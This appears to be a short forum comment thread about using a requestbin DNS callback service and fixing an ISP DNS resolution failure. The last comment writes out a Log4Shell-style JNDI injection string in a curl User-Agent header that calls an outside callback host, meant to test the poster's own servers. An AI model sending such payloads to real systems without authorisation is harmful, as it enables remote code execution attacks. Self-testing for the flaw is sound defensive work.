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philh | 4 years ago

I don't really know what's going on here, so to clarify... it gives "simple checking example"

    nslookup mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net
but when I run that in my terminal I get the response

    ;; Got SERVFAIL reply from 83.146.21.6, trying next server
    Server:  212.158.248.6
    Address: 212.158.248.6#53

    ** server can't find mydatahere.a54c4d391bad1b48ebc3.d.requestbin.net: SERVFAIL
And nothing shows up in "received data" on the website.

Is that expected? Should I be running the dnsbinclient.py they provide? (I don't have the websocket module installed right now.) I did run `curl a54c4d391bad1b48ebc3.d.requestbin.net` before the nslookup, could that have made a difference here?

discuss

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jffry|4 years ago

I'm not Requestbin's creator so I don't know. A simple nslookup or curl does work for me, with my system's DNS servers set to Cloudflare (1.1.1.1) or Google (8.8.8.8)

It looks like Vodafone (I assume this is your ISP) DNS servers aren't properly resolving the name for some reason. You could try bypassing it with dig, and directly ask a different DNS server to resolve it:

  dig @1.1.1.1 A whatever.a54c4d391bad1b48ebc3.d.requestbin.net

philh|4 years ago

Thanks! Yeah, `dig` with no DNS gives me a SERVFAIL but `dig @1.1.1.1` works.

My ISP isn't Vodafone directly (I take it you think that because 83.146.21.6 belongs to them?) but might be a Vodafone reseller or something.

philh|4 years ago

Like, my understanding from reading the thread was that I'd be able to run this and make requests to my servers setting my User-Agent, like

    curl -A '${jndi:ldap:test.a54c4d391bad1b48ebc3.d.requestbin.net/abc}' https://my-service.net
and if they're vulnerable (at least through logging user-agents, I know there are other possible avenues) something would show up on the website. Is it more complicated than that?